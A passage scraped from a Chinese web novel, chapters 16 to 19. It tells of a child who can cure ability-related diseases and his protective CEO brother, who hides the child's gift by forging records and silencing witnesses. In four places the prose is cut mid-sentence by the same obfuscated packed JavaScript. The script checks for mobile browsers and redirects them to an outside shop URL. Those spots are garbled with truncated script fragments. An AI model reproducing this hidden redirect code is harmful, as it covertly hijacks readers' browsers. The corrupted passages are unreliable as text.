江从谦感觉到了,立刻便放松了些:“是哥哥弄痛你了吗?” 又又摇摇头。 抓着哥哥冰冷的手指,第一次没有食欲,心里反而有点难受。 他也不知道自己为什么会难受。 明明今天有吃到自助餐,虽然被哥哥发现了,但哥哥也没有说他什么。 他抬起头,有些嚅嗫地问道:“哥哥,我是不是做错了?” 江从谦怔住了。 小幼崽靠在他怀里,蔫嗒嗒的,完全没有了往日的活泼机灵。 他心里顿时一阵酸涩。 他在做什么! 小孩子贪玩,到处乱跑本来就是他们的天性。 又又自小被星盗劫走,都不知道过得是什么样的地狱生活,好不容易才摆脱了痛苦的经历,像个普通孩子一样。 江从谦越想越觉得心疼。 “又又没有错。” 他温柔地摸了摸又又的头发,“又又只要开开心心的就好了。” 至于外面的危险,是大人才应该考虑的问题。 又又觉得心里软软的,酸酸的。 这是不同于食病一般的饱胀感,却并不让人讨厌。 “哥哥。”他蹭了蹭江从谦的脖颈,小声地喊道。 江从谦:“嗯,怎么了?” 又又摇摇头,但过了一会又小声叫了声“哥哥”。 江从谦又应了一声,却没有再听到弟弟的声音,低头才发现他已经沉沉睡去了。 又又今天吃了不少病症,还没消化。 一闭眼就直接沉入了黑甜梦乡,连江从谦将他放到床上都没醒过来。 江从谦直到走出房门,脸上还挂着温和的微笑。 只是这份温和,很快就被一个通讯给打断了。 是他的助理。 前不久被派去埃米尔星区查找他好转的线索。 江从谦见他的脸色便意识到不对:“查到什么了?” 助理神情凝重:“我们在医疗中心调查的时候,发现有人在打听小少爷的下落。” 江从谦的神情骤然变冷:“是谁?” 助理:“他叫桑拓,是一名画家,不过,他也在当初小少爷被救出的那艘走私舰上。” 16.第 16 章 蒂奢星区是中央星系最著名的艺术区。 在这里,居住着许多知名艺术家,每天都有数不清的艺术展览、音乐会、歌舞剧等等,无数粉丝和艺术爱好者如朝圣般来到这里。 今天,最负盛名的赫拉画廊正在举办一场画展。 凌晨时分,就已经有人在画廊门口排队了,等到开展时间一到,乌泱泱的观众冲进了画廊里。 画廊内部极其高耸宽阔,能同时容纳三四百人,展出一百到两百幅画。 但此刻,画廊中却只有一幅画在展出。 那是一幅半人高的画作,色彩绚丽饱满,极具冲击力。 可是它吸引人的远不止如此。 几乎每个看到这幅画的人,都会不自觉地变得哀伤,有人痛苦地按住胸口,还有人甚至当场就哭了起来。 这是因为画作的作者桑拓,拥有的S级异能“赋情”。 赋情能够将作者自身体会到的情感,赋予亲手制作出的艺术品上,带给观众极致的体验。 有异能的加持,桑拓年少成名,是中央联邦有名的画家。 然而两个月前,他忽然不知所踪。 有传言说他患了异能失调症,无法再使用异能进行创作。 虽然桑拓的经纪人一直强烈否认这个传言,但因为桑拓一直没有出现,还是有不少人相信了这点。 所有人都在惋惜,一位极有天赋的艺术家就此陨落。 谁能想到,一周前,桑拓竟然神奇般地再次出现在了公众视野中。 不仅如此,他还带来了自己最新的画作,而这幅画一经展出,便立刻轰动了整个蒂奢星区。 接受采访的桑拓穿着宽松的衣服,灰色长发束在脑后,一双海蓝色的眼眸半垂着,显出几分忧郁。 记者们虽然被限制在采访台下,但悬浮在空中的无人摄影机和麦克风几乎要将他整个人淹没。 “请问桑先生,这幅画的灵感是来源于什么?” “桑先生,这是你当前最满意的画作吗?” “桑先生消失这么多天,有什么要对你的粉丝说吗?” …… 桑拓简短地回答了记者的问题。 突然,一个突兀的声音传来:“桑先生,听说你之前患有异能失调症,请问这是真的吗?” 桑拓抬起头,看向了提问的记者。 还不等他说话,身旁的经纪人便忍不住道:“怎么可能!如果桑拓真的生了病,怎么可能还创作出这么精彩的画作!” “这是对一位艺术家最深的侮辱!” 记者会结束后,桑拓坐在后台,经纪人还满肚子愤怒:“你怎么回事?都被人骂到脸上了还在发呆?!” 桑拓没说话。 因为他知道,这名记者说的话是真的。 他之前的确患有异能失调症。 这个被誉为“艺术家终结者”的可怕病症。 桑拓不敢将这件事告诉经纪人。 他现有的一切,房子、财富、身份地位、粉丝的追捧和喜爱……都来源于他的画,或者准确来说,来源于他的异能。 异能消失,也就意味着,他将回到从前那种孤独、贫穷、无人在意的生活。 他根本无法想象。 于是,他只能谎称没有灵感,却整天在家借酒浇愁。 直到不久前,他听闻边境星系的黑市有治愈异能疾病的特效药,于是特意过去买。 谁知半路被星盗打劫,不仅身上的钱财没了,人也被抓上了走私舰。 走私舰上的这些奴隶全都被塞进一个房间,吃不饱穿不暖,那些星盗兴起了,还会殴打虐待他们。 尤其是有异能的,都会被特殊的镣铐锁着,不仅束缚他们的异能,还会阻止他们的伤口愈合。 桑拓在走私舰上浑浑噩噩的,却发现自己身上的伤竟然慢慢地好了。 不只是他,走私舰上的其他人也是如此。 这才有了后来他们反抗星盗,自救成功的事。 而且,桑拓回到家以后,还意外发现,自己的异能失调症竟然好了。 他又能重新作画了! 当时他心情激荡,将自己在走私舰上的感受都融入了画作中。 这幅画竟然比他以往的作品还要优秀! 经纪人对此也很满意:“画展非常火爆,赫拉画廊跟我们商量要延长画展时间,另外,还有几位富豪的代理人也发来报价,想要购买你这幅画……” “这些事你做主就行。”桑拓没什么兴趣,“哦对了,我让你去埃米尔星区找的人,找到没?” 经纪人见状,立刻大吐苦水:“别提了,那个医疗中心简直就是茅坑里的臭石头,又臭又硬,我们的人想了各种办法,都没能撬开他们的口,说出那个孩子的下落……” 桑拓皱起眉头,直接打断经纪人的喋喋不休:“我要亲自去埃米尔星区。” “你去做什么?”经纪人震惊,“现在可是画展最火热的时候,你不好好待在这里,跑去那么个鸟不拉屎的边缘星区,你疯了!” “你别管!” 桑拓说完,便转身离开了画廊。 - 走出画廊,柔和的风吹拂在他脸上。 大街上弥漫着香水和颜料混杂的特殊香气,这是独属于艺术星球的浪漫。 然而,桑拓却不自觉地想到了,走私舰上那间臭烘烘的舱房。 他们几十个奴隶被关在一间很小的舱房里。 那里面有个很小的孩子,名叫又又。 又又很瘦小,肤色也有种营养不良的苍白。 桑拓不忍心,便主动把他放到了自己身边,照顾他。 走私舰上关着奴隶的舱房是没有灯的,只有一扇小小的舷窗,偶尔会有两缕来自恒星的光芒闪过。 奴隶们又大多受着伤,大部分时间都在睡觉,偶尔传来两声痛苦的呻|吟。 有一次,桑拓半睡半醒间,发现又又不在被子里。 他连忙爬起来寻找,此时正好有一缕光线从舷窗落进来。 他竟然看到又又坐在一名受了重伤的奴隶身旁。 只是很快,那缕光线消失,舱房内再次陷入黑暗中。 因为太过短暂,他醒来后甚至还怀疑,自己是不是在做梦。 直到回到家,发现自己的异能失调症竟然痊愈后,他这才后知后觉地意识到了什么。 当时,他们被关在漆黑的舱房里,又受着伤,大部分人都是迷迷糊糊的。 那么严重的伤是怎么愈合的,根本就没有一个人说得清楚。 可桑拓想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946042|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到那一幕,又想到自己抱着又又的时候,身体上的痛楚便会减轻许多。 一切便都联系起来了!! 或许,又又就是治好他的那个恩人!! 但他随即又意识到,又又有这样的能力实在是太逆天了。 一旦被其他人发现,保不准就会伤害他,利用他。 他心中当即生出了一个想法。 他一定要保守这个秘密,最好能把又又接过来,好好地保护他。 可他没想到,第一步就出了问题。 想到这里,他恨不得立刻跃迁到埃米尔星区。 可就在这时,他被一名黑衣男子拦了下来:“桑先生是吗?” 桑拓莫名地看着他:“是我,你是?” 黑衣男子示意一旁的咖啡馆:“桑先生,我老板想要见你。” 桑拓皱起眉头。 自从他成名后,便一直有权贵人士私下约见他,希望能定制画作,不过他向来不喜欢这种事,便直接拒绝道:“抱歉,我不接私人订制。” “桑先生,你误会了,我老板并不是为了画作来的。”男人又示意了一遍,“请吧。” 桑拓疑惑地跟着他进入了咖啡馆。 馆内空荡荡的,并没有其他客人,桑拓顺着黑衣男子的指示,看到了坐在角落的一个男人。 桑拓扫过对方的脸,只觉得有几分眼熟。 可是能将赫拉画廊对面的咖啡馆包下来,这男人不仅有钱,地位也不容小觑。 不等桑拓细想,对方却已经开口说话了:“桑先生是吗?” 桑拓点点头,也拉开椅子坐下来:“我是,这位先生你找我有什么事?” 江从谦打量着面前的画家,却是开门见山:“桑先生一直在找我弟弟,是为什么?” “你弟弟?”桑拓怔了一下,才反应过来,“是又又?” 江从谦点点头。 桑拓没想到自己竟然直接撞到了人家家长手里,顿时有些尴尬:“抱歉,我……” 江从谦收回目光:“又又年纪还小,之前又经历了那些事情,我们做家长的保护欲重了点,请谅解。——桑先生有什么事找又又,可以直接跟我说。” 桑拓张了张嘴,却不知道该怎么说,只能说是自己有些担心又又。 江从谦笑了笑,却没有拆穿桑拓,反而顺着他的话,问起他们在走私舰上发生的事情。 桑拓心头一紧。 他以为江从谦是发现了又又的不对劲,所以来套他话的。 然而江从谦问的却只是他们在走私舰上的生活,仿佛只是想透过他这个亲历者,多知道一点弟弟的情况。 桑拓也就渐渐放松了警惕。 江从谦是一个很好的倾听者,他听得认真,不会随意打断桑拓,却又适时给予反馈。 担心又又的能力曝光,桑拓没有把自己被绑架的事情没有告诉其他人,甚至连经纪人都没说。 可面对又又的亲人,他到底还是没那么防备。 讲得有些口干了,他拿起桌上的咖啡喝了一口。 而江从谦就是这时候开口的:“所以,桑先生找又又,是因为他治好了你的异能失调症?” 桑拓:“噗——” 等等! 你是怎么知道的?! 17.第 17 章 桑拓虽然没有回答,但他的反应已经代表了一切。 哪怕他早已猜到这种可能性,但桑拓的确认,却依旧让他内心掀起惊涛骇浪。 只是。 很快就被理智按捺下去。 他的异能不自觉催动,大脑像是一台精密的仪器,将一切疑点像是照片般一张一张展现出来。 那艘走私舰上几乎没什么伤的奴隶。 分明患有异能失控症,但和又又在一起却一次都没有发病过的洛恩。 还有那晚,他分明发病了。 却睡了这么久以来最舒服的一个觉,甚至第二天醒来后,身体竟然一点事也没有。 …… 一个又一个线索汇聚成了唯一的解。 所以,他的病好转,是又又救了他。 在意识到这个结论的瞬间,江从谦的大脑仿佛停滞了。 他感觉到了短暂的茫然。 一直以来,他都是保护别人的存在。 却是第一次被人保护。 他的心头泛起一丝涩然。 甚至有些不知所措。 过往的所有经验、学识、决策力,都无法告诉他在此刻应该做什么。 只是很快,他便敏锐地意识到。 又又能治愈这些异能疾病,是一件多么惊世骇俗的事情。 自从人类进化出异能以来,与异能相关的病症也跟着伴随而来。 这么多年,人类经历了无数的研究,却也只能延缓疾病发作,根本无法根治。 也因此,累积下了海量的病人。 别的不说,光是异能崩坏症这个病,患者人数便是极其惊人的数量。 要是被他们知道自己的病可以治愈,江从谦都可以预想到,他们有多疯狂。 江从谦的心里猛然划过一丝杀意。 咳得昏天暗地的桑拓下意识打了个寒颤。 他脑中灵光一闪。 瞬间想起了对方的身份。 江从谦! 九壤集团的首席执行官! 那个时常出现在时政和经济新闻里的男人! 桑拓虽然是个一心只知道画画的宅男,却也听过他的大名,知道他很牛逼。 桑拓下意识咽了口口水,擦掉脸上的咖啡液,便开始装傻充愣:“啊哈哈哈哈……江先生,您在开什么玩笑啊?异能失调症是什么我都不知道,我只是外出寻找灵感的时候被星盗绑架了……” 在江从谦那双冷淡灰眸的注视下。 桑拓说话的声音越来越小,直到再也装不下去。 他色厉内荏,只能强撑着说道:“是,我是又又治好的!” 听到他承认,江从谦神色不变。 脑中异能催动,已经制定出七八个让他悄无声息消失的计划了。 但随即桑拓就软下了声音:“你看你都那么有钱了,就别用又又赚钱了呗,你要是真的需要钱……” 他咬咬牙,“大不了我可以卖画的……” 说完,却没忍住心疼地抽了口气。 江从谦:“……” 他第一次用审视的目光看向桑拓。 他的脉搏、微表情、生理变化、声音特征…… 所有的一切,都证明他并没有撒谎。 这样一个贪财胆小的小画家,竟然是真的愿意为又又花钱。 可他才是又又的血亲。 他才有资格为又又付出一切。 江从谦的嘴角勾出一抹没有温度的弧线:“桑先生,又又是我的弟弟,不需要你操心。” 桑拓小声嘀咕:“你要是真操心,又又也不至于沦落到走私舰上……” 冷风刮过。 桑拓默默地缩起脖子,闭上了嘴。 江从谦整个人像是被撕成了两半。 一半理智从容,如机器般分析留下桑拓的优劣势与安全性。 另一半却仿佛在油锅中煎熬。 直到分析结束。 他骤然起身:“今天打扰了,又又还在家里等我,我就先回去了。” “哦,哦,好的。”桑拓觑着江从谦那张冷冰冰的脸,犹豫再三,还是小声地问道,“那……我以后可以见又又吗?” 江从谦冷漠地瞥了他一眼。 桑拓乖觉地闭上嘴:“好吧,我知道了。” 可没想到江从谦却只是淡淡道:“我会告诉又又的,让他自己决定。” 离开咖啡馆后,江从谦才吩咐手下:“盯紧桑拓。” 他能看得出桑拓对又又的关心和担忧,也知道他并没有将又又的消息传扬出去,否则事态不会这样平静。 可他也并不会因此就无条件就信任他。 对于江从谦来说,保护弟弟,一丝疏忽都不能有。 咖啡馆内的桑拓尚且不知道,自己刚刚在死亡线上走了一遭。 他长出了一口气,这才后知后觉地感觉到后背全汗湿了,手脚也有点发软。 爬不起来的他,干脆瘫软在了椅子上。 谁知刚躺下来,通讯器的声音就把他吓得差点跳起来。 他手忙脚乱地点开,才发现是经纪人。 经纪人看着他一身狼藉,皱眉道:“你这是什么新式的喝咖啡的方式?” 桑拓翻了个白眼,但话到嘴边又咽下了:“你找我什么事?” “是这样的,你那幅画被柳先生看中了,柳先生很欣赏你,特意邀请你去参加酒会,这可是千载难逢的好机会,那什么埃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952387|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 米尔星区就先别去了……” 桑拓当初要去埃米尔星区,就是为了找又又。 如今已经知道又又的下落了,自然没必要再跑一趟埃米尔星区。 他懒洋洋道:“好,我不去了。” “诶?!”经纪人没想到这犟驴居然会改变主意,又惊又喜,连忙噼里啪啦地把自己另一个打算也说了,“我跟你说,趁着这股势头,你再多画两幅画,到时候我再找人给你造造势,争取把你身价再往上提一个阶层!!” 桑拓:“……” 这嘴脸他可太熟悉了! 他不禁又翻了个白眼,却忽然想到了什么,若无其事地问道:“你说,我要画多少幅画,才能比江从谦有钱?” 刚刚还滔滔不绝的经纪人忽然卡壳了。 许久,他才语重心长道:“桑拓啊,有梦想是好事,但白日梦就大可不必了。” 桑拓:“……” - 江从谦心事重重地回到家。 又又正趴在客厅的大鱼缸前,聚精会神地看着里面的铃铛水母。 这种水母只有拇指大小,伞盖是淡金色的,且圆滚滚的,像是一个个漂浮在水里的小铃铛,因为漂亮脆弱又没有毒性,很适合作为家养。 似乎感应到了他回来,原本小脸紧贴在鱼缸壁上的又又抬起头,朝他露出一个甜甜的笑容:“哥哥~” 他的鼻尖被压得通红,脸颊也被呼吸蒸得水润润的,像一只刚出锅的小粘糕。 江从谦沉重的心情,不自觉地便舒缓了,脸上也露出了笑意。 小粘糕“哒哒哒”地朝他跑来。 却因为跑得太急,一不小心就摔倒了,膝盖重重地磕在地板上。 江从谦见状,快步上前,将他抱了起来。 掀开裤腿,便看到膝盖的位置被擦伤了一大片,露出血丝。 那一片鲜红映入眼帘,江从谦的心骤然揪起来。 但很快,这份心疼又转为了另一种沉重。 他的脑海中再次浮现出了一些以前没注意到的疑点。 又又被救下走私舰时,全身多处伤痕,是被解救下来的人里,伤势最严重的之一。 还有在九壤号时,又又身上也出现了大块淤青。 …… 从前他以为,又又是没有异能的普通人,所以自愈能力差。 乐清沅也跟他说,小朋友跑跑跳跳,身上有伤是很常见的事,让他不用保护过度,大惊小怪。 可是,又又明明有治愈的能力。 他连异能崩坏症这么严重的病都能治好,为什么这点小伤却不能治愈? 除非…… 他只能治疗别人的病症,却无法治愈自己身上的任何伤病。 18.第 18 章 江从谦的身体比他的大脑先一步感受到了恐惧。 怀中小小的身体柔软脆弱,却又拥有所有人都觊觎的能力。 而这份能力却根本无法保护他自己。 一次微小的意外,就可能造成无可挽回的伤害。 意识到这点后,江从谦的呼吸都放轻了。 但拥着他的手臂却不禁紧了些。 他甚至来不及阻止异能使用,脑中便已浮现出又又可能受到的伤害。 更别提这世上豺狼环伺。 每个人都有可能伤害又又,利用又又。 想要保护又又,就要将所有可能的危险都消灭在萌芽。 走私舰…… 洛恩…… 桑拓…… 甚至整个埃米尔医疗中心…… 又又原本痛得眼泪水都在眼眶里打转了。 谁知转头就看到哥哥神情凝重阴鸷,疯狂催动的异能,甚至让他的异能崩坏度都隐隐有了上升的趋势。 又又以为哥哥是担心自己,连忙把眼泪缩回去,环着哥哥的脖颈,坚强地说:“哥哥,我不痛!” 奶声奶气的声音,将江从谦从深渊般的黑暗中拉了回来。 他低下头,看着满脸担忧的又又。 小小的手掌捧着他的脸。 柔软温暖的掌心,像是太阳一般,驱散了他头颅中的疼痛,也驱散了他心底那些阴暗的念头。 “哥哥,你怎么了?是不是不舒服啊?”又又眉头揪成一团。 不应该呀。 他最近都有在吃哥哥身上的病,哥哥应该不会难受才对。 难道是生了其他的病? 又又凑近江从谦,仔细地嗅了一遍。 确定并没有其他的病。 看着又又着急的样子,江从谦的心里涌起一片酸软。 他轻轻地揉着又又的头发:“哥哥没事。” 他强行将所有不好的情绪压了下去,不让它们暴|露在弟弟面前。 他将又又放在沙发上,又拿了小型治疗仪过来,给他治疗伤口。 只是一会儿,伤口边缘便已经泛红肿起,看着比之前还要严重。 江从谦越发心疼:“是不是很疼?” “还好啦!”又又摸了摸鼻子,老实地说道,“一开始比较疼,现在已经好多了。” 江从谦却觉得小幼崽在安慰他,动作越发变轻了,还轻轻地吹着伤口。 在治疗仪的治疗下,又又的伤口很快就结痂愈合。 他不禁打了个哈欠。 “困了吗?”江从谦收拾好治疗仪,俯身又把他抱起来,“哥哥送你回房睡觉。” 又又有些困惑地靠在哥哥胸口。 他怎么觉得,哥哥对他,就像是他对那些铃铛水母似的。 小心翼翼的,生怕磕了碰了。 这也不是说哥哥以前对他不好啦。 只是今天的哥哥跟以往有些不一样。 又又想不明白,也就不想了。 反正哥哥总不会伤害他的。 小幼崽又打了个哈欠,翻了个身,沉沉地睡过去。 江从谦直到弟弟呼吸平稳,进入梦乡,才起身离开。 他回到书房。 桌面上还摆着那艘走私舰的资料。 这些东西现在在他眼中,就是一个定时炸|弹。 必须被销毁! 所幸他做事情向来周全,早在拿到这份资料的时候,就已经把备份全部销毁了。 原本走私舰上被解救的人散落在联邦的各个角落,没有这份资料,根本就不可能有人找得到他们。 唯一的漏洞,只有那几个还活着的星盗。 他神色冷然。 先前他为了给弟弟报仇,就没让他们死那么痛快。 毕竟他们在弟弟身上加诸的那些伤势,得让他们十倍百倍地返还回来! 但现在,他们还是早点死了更让人安心。 真是便宜他们了。 等把所有事情做完,已经是天明了。 虽然一夜未睡,但江从谦的脸上看不到半点倦意。 莫管家敲了敲门,提醒他去陪又又吃早餐。 江从谦只要在家,就会陪又又吃饭。 这已经成了惯例。 江从谦走出书房,却顿了顿,转头吩咐莫管家:“以后,家里的地面都铺上软垫。” - 章老教授跟着江从谦的人终于到了埃米尔星区。 他顾不上舟车劳顿,立刻就开始工作。 虽说要在这么大的星区里找到线索,实属大海捞针,但章教授在星舰上时,跟江从谦讨论过几次,心中早已有几个重点区域。 其中最重要的,就是埃米尔医疗中心。 以他的身份和人脉,想要调查一个边境星区的医疗中心还是很容易的。 可是到了那里,他才发现,这边竟然已经成了九壤集团旗下的产业。 他脑中闪过一丝疑惑。 只不过,他很快就被其他的事情给吸引了注意力。 他在医疗档案中找到了一个名叫洛恩·法雷佐的病人。 根据档案所述,他患有异能失控症,而在几个月前,他的异能波动稳定,已经回到了家族。 章教授精神一振。 异能失控症的患者,倒是有过患病后异能波动稳定的例子。 但这种稳定的情况非常短暂,像洛恩这样维持长期的异能波动稳定,基本可以算是痊愈了。 章教授第一反应就是去找洛恩的主治医生——罗德尼医生。 却被告知,罗德尼医生并不是埃米尔医疗中心的医生,通讯号拨过去,也是无法接通。 章教授没有办法,只能找到病人本人。 这倒是很容易就找到了。 很快,红发红眸的少年便出现在了影像中。 他还戴着阻抑环,对于大部分异能失控症的患者而言,这是如同止咬器一般充满侮辱意味的刑具。 然而这个年岁不大的少年却并不在意,带着冷意的金属从他浓烈的发间探出,紧扣太阳穴,甚至有几分机械造物的冷酷感。 章教授怔了怔,这才问道:“你好,洛恩?” 洛恩点点头:“章教授您好,我是洛恩,听说您有事找我。” 在短暂的寒暄后,章教授立刻恢复了学术专家的严谨,事无巨细地问起洛恩的情况。 洛恩的态度很配合,甚至还大方地把他之前的治疗记录也复制给章教授一份。 章教授收获满满,却还不忘问道:“罗德尼医生还在为你治疗吗?” 洛恩顿了顿:“我病好以后,就很少见到罗德尼医生了。” 章教授忙问:“那你知道他现在在哪里吗?” 洛恩:“罗德尼医生好像去参加某个保密医疗计划了,我也不知道他在哪里,不好意思。” “没事没事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955259|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 章教授有些失望,不过洛恩的话,倒也解释了罗德尼的通讯号为什么无法接通。 这种保密的医疗计划,研究时间动辄以年来计算,等他出来,黄花菜都凉了。 事已至此,章教授也只能无奈接受。 等到和章教授的通讯结束,洛恩松了口气,目光落在桌上那个小小的语音通讯器上。 他定了定神:“你都听到了?” 通讯器内传来江从谦满意的声音:“做得很好,洛恩。” 洛恩抿了抿唇:“你已经把所有的剧本都写好了,只要不是白痴都能做到。” 三天前,江从谦就找到了他。 他调走了罗德尼,篡改了他的医疗记录,并让他提早准备今天与章教授的这场通话。 甚至连章教授问他的每个问题,江从谦都算无遗策。 这是洛恩第一次直面脑域强化的恐怖之处。 可他并不害怕,只是急忙问道:“我说的这些,保护到又又了吗?” 通讯器对面的江从谦沉默了一瞬,才道:“保护到了,谢谢。” 洛恩脸上扬起一丝满足的笑:“那就好。” 江从谦结束与洛恩的通话,没多久又接到了章教授的通讯。 章教授的声音激动到颤抖:“江先生,我查到了!” 江从谦:“您说。” “我到了埃米尔星区后,重点找了几个地方,其中最重要的就是医疗中心。”章教授翻动着手中的记录,“我在这边找到了一个叫做洛恩·法雷佐的患者,他患有异能失控症,可现在却痊愈了!” 江从谦不急不缓:“您确定吗?” “我确定!”章教授斩钉截铁,“我也联系上了他,拿到了他的医疗记录,唯一可惜的是,没有联系上他的主治医生,那样或许可以得到更多数据支撑……” 江从谦假装露出惊喜:“是吗?那您是不是已经查出是什么原因了?” “我已经有了些头绪。”章教授没有丝毫藏私,说道,“我看了洛恩的医疗记录,他在这里的一年多时间里,还有过三次短暂的异能波动平稳期,但因为太短暂了,他的主治医生也没有当回事,可如果结合他最后那个月的情况……” 章教授说得激动不已,可他并不知道,这份医疗记录是江从谦早就准备好的假货。 江从谦不动声色地引导着章教授,将治愈的方向引到埃米尔星区的星源位置、环境、特殊辐射等方向。 直到确认所有事情都在自己掌握中后,他才挂断通讯。 连续多日地使用异能,让他的额头有些微微抽痛,但随之而来的,却是一种畅快淋漓的爽感。 他已经很多年没有这样毫无顾忌地使用异能了。 所有得了异能崩坏症的人,不管他之前的异能有多强,成就有多高,在病魔面前都是一视同仁。 无穷无尽的疼痛。 一步一步崩溃的异能。 眼睁睁地看着自己从一个强者变成废物。 越是身处高位,就越是无法接受这种反差。 崩溃的不止是异能,还有精神。 有的人亲手结束了自己的性命。 有的人怨恨上天不公,疯狂报复世界。 如果没有又又,江从谦也不知道自己究竟会变成什么样。 他垂下眼眸。 旁人都说,成为他的弟弟有多幸运。 可成为又又的哥哥,他才是幸运的那个。 19.第 19 章 慕越收到手下传来的消息,才知道江从谦那个丢了的弟弟找回来了。 听说还是他亲自去埃米尔星区把人接回来的。 听说他对这个弟弟很好,保护得严严实实的,他们费了不少功夫才打听到。 慕越看着资料里孩子的长相,慢慢皱起了眉头。 这不就是他在医院里见到的那个小孩吗? 他那个勾三搭四、花心滥情、不负责任的渣男哥哥……是江从谦?! 正在认真工作的江从谦不禁打了个喷嚏。 慕越又看了一下小孩的资料。 但看着看着,脸上轻松的表情就消失了。 他还记得小孩那奶呼呼的声音和笑容,单纯天真,无忧无虑的。 听他说没有父母的时候,慕越只觉得他们同病相怜。 却不想,这么可爱开朗的孩子,之前的经历竟然这么惨。 手下说道:“江从谦对这个弟弟很重视,要不要……” 他做了个抓住的手势。 “不必了。”慕越直接就拒绝了。 他虽然不是什么好人,但也还算有点底线。 要是别的事情,他肯定不会放过江从谦。 可是拿家人威胁还是太下作了。 不过,他有底线,可不代表别人也有。 尤其是晶髓矿星这么大个项目在那。 要真能把江从谦这个最大的竞争对手解决,谁会不动心。 连慕越自己,都觉得自己的原则岌岌可危。 果然,手下立刻说道:“我们在查的时候,还发现了另一波人……” 慕越轻“啧”了一声。 他猜得没错,这群人果然没什么下限。 就是可怜这孩子。 手下见状,便建议道:“那您不如给江先生提个醒,让他欠您一份人情。” “让江从谦欠我人情?”慕越顿时一脸嫌弃。 给江从谦捅两刀他倒是很乐意。 但欠人情这种事,哪怕是让江从谦欠他,他也有种吃了屎的感觉。 何况,就江从谦那阴险的性子,他也不信他一点都没察觉。 当然,他如果真的阴沟里翻了船。 慕越也不介意帮他照顾弟弟的。 那小孩乖巧可爱,跟江从谦那讨人厌的家伙完全不一样。 要是真有个这样的弟弟也挺好的。 慕越越想越觉得不错,忍不住又看了眼照片。 真可爱! 怎么就是江从谦的弟弟呢! DNA检测是不是出问题了? - 江从谦还不知道有人已经惦记上了他弟弟。 他正在好声好气地跟又又商量:“不跟哥哥去医院了,好不好?你在家乖乖待着,等明天哥哥带你出去玩?” “不要!”又又坚定地摇头,“我要去医院。” 他还惦记着医院的自助餐呢! 还有上次那个和哥哥一种病的老爷爷,他的病也没吃完呢! 江从谦无奈地揉了揉额角。 如果之前不知道又又有治愈别人的能力,他也就心软带他去了。 但现在,他却要避免又又的能力被有心人发现,像医院这种敏感的场合,也就不能带他一起去了。 又又眨巴着大眼睛,泪水迅速在眼底聚集。 江从谦:“……” 他这是为了又又的安全,他希望又又像所有孩子那样快乐生活、长大,不会因为这份特殊的能力被人觊觎。 又又还小,不懂得事情的严重性,他作为大人,一定要撑住,这次坚决不能妥协! 小孩子偶尔哭一下没有关系的,做家长的不能太娇惯…… 为了说服自己,江从谦的脑子都不惜用上异能了。 然而十分钟后,他重重地叹了口气:“……行。” 又又眼泪瞬间收了回去,又变成了乖巧可爱小粘糕,搂着哥哥的脖子晃:“谢谢哥哥,哥哥最好了~” 江从谦努力将上翘的嘴角压下去,严肃地说道:“又又,你想跟着哥哥去医院,是不是想要给别人治病?” 又又瞬间瞪大眼睛:“哥哥你怎么知道的!” 完蛋了! 哥哥不喜欢他跟病人接触,肯定就不让他去了。 可是,出乎小幼崽意料的是,哥哥并没有不许他去,只是神情郑重地说道:“又又,哥哥不反对你这样做,但是你要答应哥哥一件事。” 又又震惊了,随即又高兴起来。 哥哥允许了,那是不是说,他想要吃什么病就不用瞒着哥哥了? 不然他每次骗哥哥,心里也很难受的。 江从谦见他这掩盖不住快乐的样子,心中越发无奈。 如果按他之前的性格,他是绝对不会允许又又再去接近病人的。 可是作为人,哪有不生病的。 他除非把又又放在一个真空的环境,不让他接触别人,但那怎么可能!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962922|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 再说,他患了病,知道有异能却不能使用的痛苦,又怎么忍心弟弟受这样的苦。 既然如此,他能做的,就是让自己足够强大,强大到能将又又完美地保护起来。 让又又能自由自在地使用异能,想治愈谁就治愈谁。 让那些觊觎又又能力的人不敢伸爪子,如果他们敢伸,那就来一个砍一个,来一双剁一双。 江从谦眉目间的狠厉一闪而过。 又又却完全没有注意,满心只想着哥哥允许他去医院了。 小幼崽想也不想就猛猛点头:“好呀好呀,我都答应哥哥!” 江从谦:“……” 